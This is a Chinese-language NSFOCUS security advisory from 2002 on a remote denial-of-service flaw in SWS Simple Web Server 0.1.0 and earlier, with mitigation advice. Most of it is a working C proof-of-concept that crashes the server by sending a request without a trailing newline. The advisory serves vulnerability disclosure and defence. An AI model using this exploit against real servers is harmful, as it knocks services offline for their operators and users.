安全研究

安全漏洞
SWS Simple Web Server处理无换行符请求远程拒绝服务攻击漏洞

发布日期:2002-09-05
更新日期:2002-09-11

受影响系统:
SWS SWS Simple Web Server 0.1.0
SWS SWS Simple Web Server 0.0.4
SWS SWS Simple Web Server 0.0.3
不受影响系统:
SWS SWS Simple Web Server 0.1.1
描述:
BUGTRAQ  ID: 5664

Simple Web Server是一款小型的WEB服务程序。

Simple Web Server对换行符处理不正确,远程攻击者可以利用这个漏洞进行拒绝服务攻击。

Simple Web Server在处理没有以换行符结尾的请求时可导致服务崩溃,远程攻击者可以利用这个问题进行拒绝服务攻击。

<*来源:3APA3A (3APA3A@security.nnov.ru
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103126473618805&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

|SaMaN| aka Mert(saman@hush.com) 提供了如下测试程序:

/*
* Mon Sep 2 17:45:04 2002
*
* |SaMaN| aka Mert <saman@hush.com>
*
* Information : Anyone can kill SWS Web Server v0.1.0 remotely.
*
* Proof of Concept Exploit for SWS Web Server v0.1.0
*
* SWS homepage : http://www.linuxprogramlama.com
*
* Tested on : Slackware 8.1 - 2.4.18
* : Redhat 7.0 - 2.2.16-22
*
* Problem : sws_web_server.c
* : line 108
* : if (recvBuffer[i - 1] != '\n') break;
*
* Q : So what will happen when we send a string not end with '\n' ?
* A : break break break
* Q : So root should restart web server everytime ?
* A : Yes
* Q : Other web servers act like this ?
* A : No
* Q : So something is wrong ?
* A : Yes :)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>


#define K "\033[1;31m"
#define Y "\033[1;32m"
#define SA "\033[1;33m"
#define M "\033[1;34m"


#define PORT 80


int main(int argc, char *argv[])
{
int sockfd, numbytes;
struct hostent *adres;
struct sockaddr_in hedef;


char buf[8] = "|SaMaN|";


if (argc != 2) {
printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
printf("%sSWS Web Killer (saman@hush.com) \n", SA);
printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
printf("%sUsage: ./sws_web_killer %s<IP> \n",Y,M);
return 0;
}


if ((adres=gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit(1);
}


if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}


hedef.sin_family = AF_INET;
hedef.sin_port = htons(PORT);
hedef.sin_addr = *((struct in_addr *)adres->h_addr);
memset(&(hedef.sin_zero), '\0', 8);


if (connect(sockfd, (struct sockaddr *)&hedef,
sizeof(struct sockaddr)) == -1)
{
perror("connect");
exit(1);
}


if ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
perror("send");
exit(1);
}


close(sockfd);


return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时使用防火墙限制访问SWS Simple Web Server,只允许可信IP连接。

厂商补丁:

SWS
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.linuxprogramlama.com/

浏览次数:3244
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障